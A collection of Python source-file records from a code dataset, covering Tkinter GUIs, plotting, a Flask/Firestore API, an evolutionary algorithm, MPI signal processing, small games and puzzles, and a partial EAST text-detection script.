menu=help_option)\n #help_option.add_command(label=\"Features\", command=self.features_msg)\n help_option.add_command(label=\"About Paint Application\", command=self.msg)\n help_option.add_command(label=\"Develpoers\", command=self.about)\n\n def setup(self):\n\n self.old_x = None\n self.old_y = None\n self.eraser_on = False\n self.active_button = self.pen\n\n\nif __name__ == '__main__':\n root = Tk()\n main(root)\n root.geometry('900x600')\n root.title('Paint Application')\n root.mainloop()\n\n\n","sub_path":"Assignment 6_PaintApp/Paint_app.py","file_name":"Paint_app.py","file_ext":"py","file_size_in_byte":5242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"611938727","text":"import os\n\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\n\n\ndef main():\n matplotlib.rcParams['text.usetex'] = True\n sns.set(font_scale=4, style=\"whitegrid\")\n base_dir = \"results/resultsRHtest7_12_18_c/rh_add5_repeat10\"\n num_req_field = \"Number of Concurrent Requests\"\n times_field = \"Response Time (s)\"\n title = \"Resource Registration\"\n base_filename = \"rh\"\n file_format = \"eps\"\n show_outliers = False\n ymax = 5\n ytick = 1\n reqs = []\n times = []\n\n files = os.listdir(base_dir)\n\n for f_name in files:\n try:\n num_req = int(f_name.split('_')[1])\n except IndexError:\n num_req = -1\n\n if 0 <= num_req <= 100:\n if num_req % 5 != 0:\n continue\n with open(base_dir + \"/\" + f_name, 'rb') as f:\n for line in f.readlines()[:num_req]:\n reqs.append(num_req)\n times.append(int(line.split()[2]) / 1000.0)\n\n data_frame = pd.DataFrame({num_req_field: reqs, times_field: times})\n response_times_boxplot = pd.melt(data_frame, id_vars=num_req_field, value_name=times_field)\n\n font = {\n 'family': 'Liberation Sans',\n 'weight': 'normal'\n }\n\n plt.rc('font', **font)\n plt.yticks(np.arange(0, ymax + 1, ytick))\n # plt.xlabel(\"x label\")\n # plt.ylabel(\"y label\")\n\n plt.title(title)\n plt.ylim(ymax=ymax)\n # plt.legend(['True Positive Ratio'], loc='lower right')\n # plt.legend(loc='upper right', prop={'size': 40})\n sns.boxplot(x=num_req_field, y=times_field, data=response_times_boxplot, showfliers=show_outliers, notch=True)\n # plt.grid(axis='y')\n # plt.grid(axis='x')\n fig = plt.gcf()\n # fig.tight_layout(pad=0.7 * 22 / font_size)\n # fig.tight_layout()\n fig.set_size_inches(20, 14)\n # plt.show()\n plt.savefig(file_format + \"/\" + base_filename + \".\" + file_format)\n #\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"rh_boxplots.py","file_name":"rh_boxplots.py","file_ext":"py","file_size_in_byte":2001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"630406564","text":"# -*- coding: utf-8 -*-\n# pylint: disable=import-error, no-name-in-module, no-member\n\"\"\"\nModule for testing a tfrecord loading module.\n\n\"\"\"\n\nimport os\nimport sys\nfrom kmlm.base.common import ExitCode, Logger, ParseOption\nfrom kmlm.base.tfrecord_gen import TFRecordGenerator\nfrom kmlm.base.utils import KmlmUtil as Util\n\ndef main():\n logger = Logger(name=\"TFRecord gen test for Keras\", level=Logger.INFO).logger\n config = ParseOption(sys.argv, logger).args\n\n # Setting paths\n text_list = Util.get_file_path(config.paths_data_path,\n config.paths_text_corpus)\n tfrecord_path = \"%s.tfrecord\"%text_list\n\n # Loading vocabularies\n vocab_path = Util.get_file_path(config.paths_data_path, config.paths_vocab)\n if not os.path.isfile(vocab_path):\n logger.critical(\"%s does not exist.\", vocab_path)\n sys.exit(ExitCode.INVALID_FILE_PATH)\n vocab, _ = Util.load_vocab(vocab_path, config=config)\n\n import keras.backend as k\n batch, init = TFRecordGenerator.load_tfrecord(tfrecord_path,\n config.train_batch)\n k.get_session().run(init)\n for i, value in \\\n enumerate(TFRecordGenerator.text_tfrecord_generator(batch,\n config,\n vocab)):\n if i >= 2:\n break\n logger.info(value)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"kmlm/base/tfrecord_gen_keras_test.py","file_name":"tfrecord_gen_keras_test.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"522808363","text":"# Copyright 2015 Google Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom flask import Blueprint, redirect, render_template, request, url_for\nimport firebase_admin\nfrom firebase_admin import credentials\nfrom firebase_admin import firestore\nimport json\nimport datetime\n\n\ncrud = Blueprint('crud', __name__)\n\ncred = credentials.Certificate('eu1-kubernetes-169431998c5e.json')\nfirebase_admin.initialize_app(cred)\ndb = firestore.client()\n\n\n# [START list]\n@crud.route(\"/\")\ndef list():\n print(\"Show books\")\n users_ref = db.collection(u'users')\n docs = users_ref.get()\n\n for doc in docs:\n print(u'{} => {}'.format(doc.id, doc.to_dict()))\n return render_template(\n \"list.html\")\n# [END list]\n\n\n\n# [START add]\n'''\ncurl -v -XPOST http://localhost:8080/books/saldo --header \"Content-Type: application/json\" --data '{\"airport\":\"arlanda\",\"saldo\":\"5\"}'\n\n'''\n\n@crud.route('/saldo', methods=['POST'])\ndef add():\n if request.method == 'POST':\n print('Adding saldo to db')\n content = request.get_json(silent=True)\n airport=\"non\"\n for key in content:\n if key == \"airport\":\n airport=content[key]\n print(content[key])\n content['timestamp']=datetime.datetime.now()\n doc_ref = db.collection(u'saldo').document(airport+\"_\"+str(datetime.datetime.now()))\n doc_ref.set(content\n )\n\n return render_template(\"form.html\")\n# [END add]\n# [START add]\n'''\n\ncurl -v -XPOST http://localhost:8080/books/action --header \"Content-Type: application/json\" --data '{\"airport\":\"arlanda\",\"run\":\"name\",\"data\":{\"temp\":\"34\",\"brushlenght\":\"20\",\"power\":\"300\"}}'\n\n'''\n\n\n\n@crud.route('/action', methods=['POST'])\ndef action():\n if request.method == 'POST':\n print('Action log')\n content = request.get_json(silent=True)\n airport=\"non\"\n for key in content:\n if key == \"airport\":\n airport=content[key]\n print(content[key])\n content['timestamp']=datetime.datetime.now()\n doc_ref = db.collection(u'action').document(airport+\"_\"+str(datetime.datetime.now()))\n doc_ref.set(content\n )\n\n return render_template(\"form.html\")\n\n@crud.route('//edit', methods=['GET', 'POST'])\ndef edit(id):\n book = get_model().read(id)\n\n if request.method == 'POST':\n data = request.form.to_dict(flat=True)\n\n book = get_model().update(data, id)\n\n return redirect(url_for('.view', id=book['id']))\n\n return render_template(\"form.html\", action=\"Edit\", book=book)\n\n\n\n","sub_path":"api/backend/crud.py","file_name":"crud.py","file_ext":"py","file_size_in_byte":3059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"615117046","text":"from __future__ import division\r\nfrom random import random, choice\r\nfrom copy import copy, deepcopy\r\nfrom numpy import array, std\r\nfrom math import exp\r\nfrom genotype import Genotype\r\nfrom phenotype import PhenotypeAnn\r\nfrom multi import *\r\n\r\n\r\nclass EvolutionaryAlgorithm:\r\n def __init__(self, genotype_pool_size, adult_pool_size, elitism,\r\n genotype_length, phenotype_length, adult_selection_protocol,\r\n parent_selection_protocol, crossover_rate, points_of_crossover,\r\n mutation_rate, mutation_protocol, symbol_set_size,\r\n tournament_size, tournament_slip_through_probability, initial_temperature,\r\n hidden_layers, activation_functions, generations):\r\n self.genotype_pool = []\r\n self.phenotype_children_pool = []\r\n self.phenotype_adult_pool = []\r\n self.avg_fitness = 0.0\r\n self.standard_deviation = 0.0\r\n self.genotype_pool_size = genotype_pool_size\r\n self.adult_pool_size = adult_pool_size\r\n self.elitism = elitism\r\n self.genotype_length = genotype_length\r\n self.phenotype_length = phenotype_length\r\n self.adult_selection_protocol = adult_selection_protocol\r\n self.parent_selection_protocol = parent_selection_protocol\r\n self.crossover_rate = crossover_rate\r\n self.points_of_crossover = points_of_crossover\r\n self.mutation_rate = mutation_rate\r\n self.mutation_protocol = mutation_protocol\r\n self.symbol_set_size = symbol_set_size\r\n self.tournament_size = tournament_size\r\n self.tournament_slip_through_probability = tournament_slip_through_probability\r\n self.temperature = initial_temperature\r\n self.temperature_step = initial_temperature / generations\r\n self.generations = generations\r\n self.activation_functions = activation_functions\r\n self.hidden_layers = hidden_layers\r\n\r\n self.initialize_genotypes()\r\n\r\n def initialize_genotypes(self):\r\n self.genotype_pool = [Genotype(length=self.genotype_length,\r\n initial_config=True,\r\n symbol_set_size=self.symbol_set_size)\r\n for _ in range(self.genotype_pool_size)]\r\n\r\n def run_one_life_cycle(self, environments):\r\n # Evolve phenotypes from the pool of genotypes\r\n self.develop_all_genotypes_to_phenotypes()\r\n # Calculate fitness of adults\r\n self.do_fitness_testing(environments)\r\n self.refill_adult_pool()\r\n self.select_parents_and_fill_genome_pool()\r\n\r\n def develop_all_genotypes_to_phenotypes(self):\r\n self.phenotype_children_pool = []\r\n for genotype in self.genotype_pool:\r\n # The actual development happens under initialization of a new phenotype using a genotypes dna\r\n self.phenotype_children_pool.append(self.init_phenotype_type(genotype))\r\n\r\n def init_phenotype_type(self, genotype):\r\n return PhenotypeAnn(genotype,\r\n symbol_set_size=self.symbol_set_size,\r\n hidden_layers=self.hidden_layers,\r\n activation_functions=self.activation_functions)\r\n\r\n def do_fitness_testing(self, environments):\r\n PhenotypeAnn.environments_for_fitness = environments\r\n res = parmap(PhenotypeAnn.fitness_evaluation, self.phenotype_children_pool)\r\n for i in range(len(res)):\r\n self.phenotype_children_pool[i].fitness_value = res[i]\r\n\r\n if self.adult_selection_protocol == 3:\r\n res = parmap(PhenotypeAnn.fitness_evaluation, self.phenotype_adult_pool)\r\n for i in range(len(res)):\r\n self.phenotype_adult_pool[i].fitness_value = res[i]\r\n\r\n def refill_adult_pool(self):\r\n # Full And over-production. Dependant on difference between adult pool- and genotype pool size\r\n if self.adult_selection_protocol == 1 or self.adult_selection_protocol == 2:\r\n self.phenotype_adult_pool = sorted(self.phenotype_children_pool, reverse=True)\r\n elif self.adult_selection_protocol == 3: # mixing:\r\n self.phenotype_adult_pool = sorted(list(self.phenotype_children_pool + self.phenotype_adult_pool),\r\n reverse=True)\r\n self.phenotype_adult_pool = self.phenotype_adult_pool[:self.adult_pool_size]\r\n\r\n def scale_fitness_of_adult_pool(self):\r\n # TODO This array can be generated when calculating fitness\r\n fitness_array = array([phenotype.fitness_value for phenotype in self.phenotype_adult_pool], dtype=float)\r\n total_sum = sum(fitness_array)\r\n self.avg_fitness = total_sum/self.adult_pool_size\r\n self.standard_deviation = std(fitness_array)\r\n if self.parent_selection_protocol == 1: # Fitness Proportionate\r\n self.scale_parents_fitness_proportionate(total_sum)\r\n elif self.parent_selection_protocol == 2: # Sigma-scaling\r\n self.scale_parents_sigma_scaling()\r\n elif self.parent_selection_protocol == 4: # Boltzmann-scaling\r\n self.scale_parents_boltzmann(total_sum)\r\n\r\n def select_parents_and_fill_genome_pool(self):\r\n self.scale_fitness_of_adult_pool()\r\n self.genotype_pool = []\r\n self.add_elite_children()\r\n for _ in range((self.genotype_pool_size - self.elitism)//2):\r\n # Fitness Proportionate or Sigma-scaling or boltzmann using \"roulette selection\"\r\n if self.parent_selection_protocol == 1 or \\\r\n self.parent_selection_protocol == 2 or \\\r\n self.parent_selection_protocol == 4:\r\n parent1, parent2 = self.chose_parents_roulette()\r\n elif self.parent_selection_protocol == 3: # Tournament Selection\r\n parent1, parent2 = self.chose_parents_tournament_selection()\r\n child1, child2 = self.mate_parents(parent1, parent2)\r\n self.genotype_pool.append(child1)\r\n self.genotype_pool.append(child2)\r\n\r\n def add_elite_children(self):\r\n for i in range(self.elitism):\r\n self.genotype_pool.append(Genotype(\r\n self.genotype_length,\r\n dna_vector=copy(self.phenotype_adult_pool[i].parent.dna_vector),\r\n symbol_set_size=self.symbol_set_size))\r\n\r\n def scale_parents_fitness_proportionate(self, total_sum):\r\n for adult in self.phenotype_adult_pool:\r\n adult.fitness_value_scaled = adult.fitness_value/total_sum\r\n\r\n def scale_parents_sigma_scaling(self):\r\n scaled_sum = 0\r\n if self.standard_deviation < 0.000001:\r\n for adult1 in self.phenotype_adult_pool:\r\n adult1.fitness_value_scaled = 1 / self.adult_pool_size\r\n else:\r\n for adult in self.phenotype_adult_pool:\r\n exp_val = 1 + ((adult.fitness_value - self.avg_fitness) / (2 * self.standard_deviation))\r\n adult.fitness_value_scaled = adult.fitness_value * exp_val\r\n scaled_sum += adult.fitness_value_scaled\r\n for scaled_adult in self.phenotype_adult_pool:\r\n scaled_adult.fitness_value_scaled = scaled_adult.fitness_value_scaled / scaled_sum\r\n\r\n def scale_parents_boltzmann(self, total_sum):\r\n exp_sum = 0\r\n for parent in self.phenotype_adult_pool:\r\n parent.fitness_value_scaled = exp(parent.fitness_value / self.temperature)\r\n exp_sum += parent.fitness_value_scaled\r\n avg = exp_sum / self.adult_pool_size\r\n for parent2 in self.phenotype_adult_pool:\r\n exp_val = (parent2.fitness_value_scaled / avg)\r\n parent2.fitness_value_scaled = (exp_val * parent2.fitness_value)/total_sum\r\n self.temperature -= self.temperature_step\r\n\r\n def chose_parents_roulette(self):\r\n parent1 = self.chose_random_scaled_parent()\r\n while True:\r\n parent2 = self.chose_random_scaled_parent()\r\n if parent1 is not parent2:\r\n break\r\n return parent1, parent2\r\n\r\n def chose_parents_tournament_selection(self):\r\n tournament_1 = []\r\n selection_pool = deepcopy(self.phenotype_adult_pool)\r\n while len(tournament_1) < self.tournament_size:\r\n candidate = choice(selection_pool)\r\n selection_pool.remove(candidate)\r\n tournament_1.append(candidate)\r\n tournament_1.sort(reverse=True)\r\n r1 = random()\r\n if r1 > self.tournament_slip_through_probability:\r\n parent1 = tournament_1[0]\r\n else:\r\n parent1 = choice(tournament_1[1:])\r\n tournament_1.remove(parent1)\r\n r2 = random()\r\n if r2 > self.tournament_slip_through_probability:\r\n parent2 = tournament_1[0]\r\n else:\r\n parent2 = choice(tournament_1[1:])\r\n return parent1, parent2\r\n\r\n def chose_random_scaled_parent(self):\r\n r = random()\r\n piece = 0.0\r\n for adult in self.phenotype_adult_pool:\r\n piece += adult.fitness_value_scaled\r\n if r <= piece:\r\n return adult\r\n\r\n def mate_parents(self, parent1, parent2):\r\n r = random()\r\n if r <= self.crossover_rate:\r\n child1_dna_vector, child2_dna_vector = parent1.parent.create_crossover_dna_vector(parent2.parent,\r\n self.points_of_crossover)\r\n child1 = Genotype(self.genotype_length, dna_vector=copy(child1_dna_vector),\r\n symbol_set_size=self.symbol_set_size)\r\n child2 = Genotype(self.genotype_length, dna_vector=copy(child2_dna_vector),\r\n symbol_set_size=self.symbol_set_size)\r\n else:\r\n child1 = Genotype(self.genotype_length, dna_vector=copy(parent1.parent.dna_vector),\r\n symbol_set_size=self.symbol_set_size)\r\n child2 = Genotype(self.genotype_length, dna_vector=copy(parent2.parent.dna_vector),\r\n symbol_set_size=self.symbol_set_size)\r\n child1.mutate(mutation_rate=self.mutation_rate, mutation_protocol=self.mutation_protocol)\r\n child2.mutate(mutation_rate=self.mutation_rate, mutation_protocol=self.mutation_protocol)\r\n return child1, child2\r\n","sub_path":"Project3/evolutionary_algorithm.py","file_name":"evolutionary_algorithm.py","file_ext":"py","file_size_in_byte":10433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"332053206","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /home/mad/Documents/spike/spike/Algo/Cadzow_mpi2.py\n# Compiled at: 2017-08-31 16:40:33\n# Size of source mod 2**32: 7772 bytes\n\"\"\"\nCreated by Marc-André Delsuc and Lionel Chiron on 2011-07\nCopyright (c) 2010 IGBMC. All rights reserved.\n\nCadzow in MPI mode\ncomplete rewrite from the code from Cyrille Bonamy for the MPI part\n\ncode compatible avec la version 0.4.0 de NPK\n\nThresholding to make Cadzow on the main relevant columns.\n\nnote that the cadzow algo is multithreaded if running over the MKL library.\nSo if MKL is installed, run only on instance per node, as all cores from the node will be solicited.\n\"\"\"\nfrom __future__ import print_function\nimport sys, numpy as np\nimport util.mpiutil as mpiutil\nimport util.progressbar as pg\nimport tables, time, urQRd, Cadzow\nfrom spike.NPKData import NPKData, copyaxes\nfrom spike.FTICR import FTICRData\nimport spike.File.HDF5File as HDF5File\nimport spike.NPKConfigParser as NPKConfigParser\ndebug = False\n\ndef Set_Table_Param():\n tables.parameters.CHUNK_CACHE_PREEMPT = 1\n tables.parameters.CHUNK_CACHE_SIZE = 104857600\n tables.parameters.METADATA_CACHE_SIZE = 104857600\n tables.parameters.NODE_CACHE_SLOTS = 104857600\n\n\ndef selectcol(data, limitpts, nbrows=200):\n \"\"\"\n returns a list of index of the limitpts largest columns of the 2D 'data'\n \n first averaging on nbrows rows\n \n return index list\n \"\"\"\n if debug:\n print('averaging on ', nbrows, ' rows ')\n else:\n roughft2 = data.row(0)\n if roughft2.axis1.itype == 1:\n roughft2.modulus()\n else:\n roughft2.abs()\n for i in range(min(nbrows, data.size1)):\n rr = data.row(i)\n if rr.axis1.itype == 1:\n rr.modulus()\n else:\n rr.abs()\n roughft2.add(rr)\n\n roughft2.mult(1.0 / nbrows)\n n = roughft2.size1 * 0.1\n roughft2.buffer[0:n] = 0.0\n index = find_thres(roughft2, limitpts=limitpts)\n if debug:\n roughft2.display()\n disp = NPKData(buffer=(np.zeros(roughft2.size1)))\n disp.buffer[index] = roughft2.buffer[index]\n disp.display(show=True)\n return index\n\n\ndef find_thres(b, limitpts):\n \"\"\"\n returns a list of index of the limitpts largest points in the 1D data 'b' \n \"\"\"\n thresh = max(b.buffer) + 1.0\n nbpts = 0\n count = 0\n inter = b.buffer.copy()\n while abs(nbpts - limitpts) / float(limitpts) > 0.1:\n if debug:\n print('thresh : ', thresh)\n else:\n nbpts = (inter > thresh).sum()\n inter[inter < thresh] = 0\n if debug:\n print('nbpts', nbpts, 'count ', count)\n count += 1\n if nbpts < limitpts:\n c = inter\n threshold = thresh\n if debug:\n print('threshold ', threshold)\n thresh /= 2.0\n ind = np.where(c > 0)[0]\n else:\n if debug:\n print('treshold min = ', thresh)\n thresh = (threshold + thresh) / 2.0\n if debug:\n print('nouveau threshold ', thresh)\n inter = np.copy(b.buffer)\n if debug:\n print('au dessus thresh ', (inter > thresh).sum())\n if debug:\n print('=0 ', (inter == 0).sum())\n\n return ind\n\n\ndef load_input(name):\n \"\"\"load input file and returns it, in read-only mode\"\"\"\n if debug > 0:\n print('reading', name)\n hf = HDF5File(name, 'r')\n d0 = hf.load()\n return d0\n\n\ndef iterarg(xindex, dinp, n_of_line, n_of_iter, orda):\n \"\"\"an iterator used by the MPI set-up\"\"\"\n for i in xindex:\n c0 = dinp.col(i)\n if debug:\n print(c0.buffer, n_of_line, n_of_iter, orda)\n yield (\n c0.buffer, n_of_line, n_of_iter, orda)\n\n\ndef cadz(args):\n \"\"\"utility function\"\"\"\n if debug:\n print(args)\n return (Cadzow.cadzow)(*args)\n\n\ndef rqr(args):\n \"\"\"utility function\"\"\"\n if debug:\n print(args)\n argu = (\n args[0], args[1], args[3])\n return (urQRd.urQRd)(*argu)\n\n\ndef main():\n \"\"\"does the whole job,\n if we are running in MPI, this is only called by job #0\n all other jobs are running mpi.slave()\n \"\"\"\n argv = sys.argv\n if len(argv) != 2:\n print('\\nsyntax is :\\n(mpirun -np N) python program configfile.mscf\\n')\n sys.exit(1)\n else:\n configfile = argv[1]\n cp = NPKConfigParser()\n cp.readfp(open(configfile))\n infile = cp.getword('Cadzow', 'namein')\n print('infile', infile)\n outfile = cp.getword('Cadzow', 'nameout')\n print('outfile', outfile)\n algo = cp.getword('Cadzow', 'algorithm')\n print('algorithm', algo)\n n_of_line = cp.getint('Cadzow', 'n_of_lines', 70)\n print('n_of_line', n_of_line)\n n_of_iter = cp.getint('Cadzow', 'n_of_iters', 1)\n print('n_of_iter', n_of_iter)\n orda = cp.getint('Cadzow', 'order', 500)\n print('order', orda)\n n_of_column = cp.getint('Cadzow', 'n_of_column', 100)\n print('n_of_column', n_of_column)\n progress = cp.getboolean('Cadzow', 'progress', True)\n d0 = load_input(infile)\n d0.check2D()\n Set_Table_Param()\n hfar = HDF5File(outfile, 'w', debug=0)\n d1 = FTICRData(dim=2)\n copyaxes(d0, d1)\n group = 'resol1'\n hfar.create_from_template(d1, group)\n if n_of_column == 0:\n indexes = range(d0.size2)\n else:\n indexes = selectcol(d0, n_of_column)\n if algo == 'Cadzow':\n meth = cadz\n else:\n if algo == 'rQRd':\n meth = rqr\n else:\n raise 'wrong algo'\n t0 = time.time()\n if progress:\n widgets = [\n 'Processing %s: ' % algo, pg.Percentage(), ' ', pg.Bar(marker='-', left='[', right=']'), pg.ETA()]\n pbar = pg.ProgressBar(widgets=widgets, maxval=(len(indexes)))\n d1D = d0.col(0)\n xarg = iterarg(indexes, d0, n_of_line, n_of_iter, orda)\n if mpiutil.MPI_size > 1:\n mpiutil.mprint('MPI Master job - starting slave jobs - ')\n res = mpiutil.enum_imap(meth, xarg)\n for i, p in res:\n d1D.buffer = p\n d1.set_col(indexes[i], d1D)\n if progress:\n pbar.update(i + 1)\n\n else:\n import itertools\n res = itertools.imap(meth, xarg)\n for i, p in enumerate(res):\n d1D.buffer = p\n d1.set_col(indexes[i], d1D)\n if progress:\n pbar.update(i + 1)\n\n print('Processing time : ', time.time() - t0)\n\n\nif __name__ == '__main__':\n if mpiutil.MPI_size < 2:\n print('Running in single processor mode')\n main()\n else:\n print('Running in MPI mode')\n if mpiutil.MPI_rank == 0:\n main()\n else:\n mpiutil.slave()","sub_path":"pycfiles/spike_py-0.99.15.tar/Cadzow_mpi2.cpython-37.py","file_name":"Cadzow_mpi2.cpython-37.py","file_ext":"py","file_size_in_byte":7030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"291945139","text":"import random\nfrom Player import Player\nfrom FileWorker import FileWorker\n#class to handle game functions\nclass Game:\n\n def __init__(self, player, playerList):\n self.playerList = playerList\n self.player = player\n\n def go(self):\n #comp = Player('Computer', 0)\n self.playAgain( )\n\n\n #provide game options to user\n def tryAgain(self) :\n print('Enter a number to play')\n print('1:Rock')\n print('2:Paper')\n print('3:Scissors')\n #validate user input\n try:\n throw = int(input())\n except ValueError:\n print('Your entry must be a number from the list')\n self.tryAgain()\n compT = self.compThrow()\n #process user input\n if (throw == ''):\n print('Please select a number from the list')\n #handles valid input\n elif (throw in [1,2,3]):\n there_was_a_winner = self.winning(throw, compT)\n if there_was_a_winner:\n self.playAgain()\n else:\n self.tryAgain()\n #handles int input not in selection options\n else:\n print('Please select a number from the list')\n\n #allows user to end the program\n def playAgain(self):\n print('Would you like to play? Enter y for Yes')\n again = input().lower()\n\n if (again == 'y'):\n self.tryAgain()\n else:\n self.playerList.append(self.player)\n FileWorker.writeFile(self.playerList)\n\n #gets comp play\n def compThrow(self):\n\n #generate a random number\n compNum = random.randint(1,3)\n #display computer selection\n print(str(compNum))\n return compNum\n\n #function to handle user information about who wins a game\n def winning(self, player_throw, puter):\n\n if player_throw != puter:\n if (1 in [player_throw, puter] and 2 in [player_throw, puter]):\n\n if (player_throw == 2):\n #call player class function for adjusting a players wins attribute\n self.player.win()\n else:\n print ('Computer wins')\n\n\n elif (2 in [player_throw, puter] and 3 in [player_throw, puter]):\n\n if (player_throw == 3):\n self.player.win()\n else:\n print ('Computer wins')\n\n\n elif (1 in [player_throw, puter] and 3 in [player_throw, puter]):\n\n if (player_throw == 1):\n self.player.win()\n else:\n print ('Computer wins')\n #asks user if they want to play again\n\n #self.playAgain()\n return True # indicate someone won\n\n #makes a player play again to settle a tie\n else:\n print ('Tie, try again')\n #self.tryAgain()\n return False # no winner\n","sub_path":"Game.py","file_name":"Game.py","file_ext":"py","file_size_in_byte":2918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"213724172","text":"class Solution:\n def threeNumberSum(self, array, targetSum):\n ## Time O(n^2) || Space O(n)\n if not array:\n return []\n\n res = []\n array.sort()\n for idx in range(0, len(array) - 2):\n\n left = idx + 1\n right = len(array) - 1\n\n while left < right:\n\n currSum = array[idx] + array[left] + array[right]\n if currSum > targetSum:\n right -= 1\n elif currSum < targetSum:\n left += 1\n else:\n res.append([array[idx], array[left], array[right]])\n right -= 1\n left += 1\n\n return res\n\n\nif __name__ == \"__main__\":\n\n print(Solution().threeNumberSum([12, 3, 1, 2, -6, 5, -8, 6], 0))\n print(Solution().threeNumberSum([8, 10, -2, 49, 14], 57))\n","sub_path":"Medium/threeNumberSum.py","file_name":"threeNumberSum.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"85891102","text":"# -*- encoding: utf-8 -*-\n\n# Preprost kalkulator, ki računa vsoto dveh celih števil.\n\nfrom tkinter import *\n\nclass Vsota():\n def __init__(self, master):\n # Naredimo spremenljivki, ki hranita vrednosti polj\n self.a = IntVar(master, value=0)\n # Ko se vrednost self.a spremeni, se mora poklicati self.izracunaj\n self.a.trace(\"w\", self.izracunaj)\n\n self.b = IntVar(master, value=0)\n self.b.trace(\"w\", self.izracunaj)\n\n polje_a = Entry(master, textvariable=self.a)\n polje_a.grid(row=0, column=0)\n \n Label(master, text=\"+\").grid(row=0, column=1)\n\n polje_b = Entry(master, textvariable=self.b)\n polje_b.grid(row=0, column=2)\n\n Label(master, text=\" = \").grid(row=0, column=3)\n\n self.c = IntVar(master, value=self.a.get() + self.b.get())\n polje_c = Label(master, textvariable=self.c)\n polje_c.grid(row=0, column=4)\n\n def izracunaj(self, name, index, mode):\n try:\n self.c.set(self.a.get() + self.b.get())\n except:\n self.c.set(\"nedefinirano\")\n\n# Glavnemu oknu rečemo \"root\" (koren), ker so grafični elementi\n# organizirani v drevo, glavno okno pa je koren tega drevesa\n\n# Naredimo glavno okno\nroot = Tk()\n\naplikacija = Vsota(root)\n\n# Kontrolo prepustimo glavnemu oknu. Funkcija mainloop neha\n# delovati, ko okno zapremo.\nroot.mainloop()\n","sub_path":"01_Tkinter/demo8.py","file_name":"demo8.py","file_ext":"py","file_size_in_byte":1384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"23136834","text":"import torch\nimport torch.onnx\nfrom torch.utils import data\nimport torchvision\nimport torchvision.models as models\nimport numpy as np\nimport cv2\nimport pytesseract\nfrom dataset import custom_dataset\nfrom imutils.object_detection import non_max_suppression\nimport sys\nimport os\nimport copy\nfrom model import EAST\nfrom matplotlib import pyplot as plt\n\ndef predictions(prob_score, geo, min_confidence):\n\t(numR, numC) = prob_score.shape[2:4]\n\tboxes = []\n\tconfidence_val = []\n\n\t# loop over rows\n\tfor y in range(0, numR):\n\t\tscoresData = prob_score[0, 0, y]\n\t\tx0 = geo[0, 0, y]\n\t\tx1 = geo[0, 1, y]\n\t\tx2 = geo[0, 2, y]\n\t\tx3 = geo[0, 3, y]\n\t\tanglesData = geo[0, 4, y]\n\n\t\t# loop over the number of columns\n\t\tfor i in range(0, numC):\n\t\t\tif scoresData[i] < min_confidence:\n\t\t\t\t#print (scoresData[i])\n\t\t\t\t#print ('Low Confidence!')\n\t\t\t\tcontinue\n\n\t\t\t(offX, offY) = (i * 4.0, y * 4.0)\n\n\t\t\t# extracting the rotation angle for the prediction and computing the sine and cosine\n\t\t\tangle = anglesData[i]\n\t\t\tcos = np.cos(angle)\n\t\t\tsin = np.sin(angle)\n\n\t\t\t# using the geo volume to get the dimensions of the bounding box\n\t\t\th = x0[i] + x2[i]\n\t\t\tw = x1[i] + x3[i]\n\n\t\t\t# compute start and end for the text pred bbox\n\t\t\tendX = int(offX + (cos * x1[i]) + (sin * x2[i]))\n\t\t\tendY = int(offY - (sin * x1[i]) + (cos * x2[i]))\n\t\t\tstartX = int(endX - w)\n\t\t\tstartY = int(endY - h)\n\n\t\t\tboxes.append((startX, startY, endX, endY))\n\t\t\tconfidence_val.append(scoresData[i])\n\n\t# return bounding boxes and associated confidence_val\n\treturn (boxes, confidence_val)\n\ndef connect_horizontal_boxes(boxes, x_threshold=30, y_threshold=30):\n\tboxes_copy = boxes.copy()\n\tbox_it = sorted(boxes_copy, key=lambda tup: tup[0])\n\n\tdone = False\n\twhile (done == False):\n\t\tmerger = (1e6, 1e6)\n\t\tbox_to_merge = (0, 0, 0, 0)\n\t\tfound = False\n\t\ti = 0\n\t\tfor box in box_it:\n\t\t\t(start_X, start_Y, end_X, end_Y) = box\n\t\t\tj = 0\n\t\t\tfor new_box in box_it:\n\t\t\t\tif (i < j):\n\t\t\t\t\t(start_Xn, start_Yn, end_Xn, end_Yn) = new_box\n\t\t\t\t\tstartYdiff = np.abs(start_Yn - start_Y)\n\t\t\t\t\tendYdiff = np.abs(end_Yn - end_Y)\n\t\t\t\t\tYdiff = startYdiff + endYdiff\n\t\t\t\t\tif (Ydiff < y_threshold):\n\t\t\t\t\t\tXdiff = np.abs(start_Xn - end_X) \n\t\t\t\t\t\tif ((start_Xn <= end_X) or (Xdiff < x_threshold)):\n\t\t\t\t\t\t\tmerger = (i, j)\n\t\t\t\t\t\t\tsY = np.minimum(start_Y, start_Yn)\n\t\t\t\t\t\t\teY = np.maximum(end_Y, 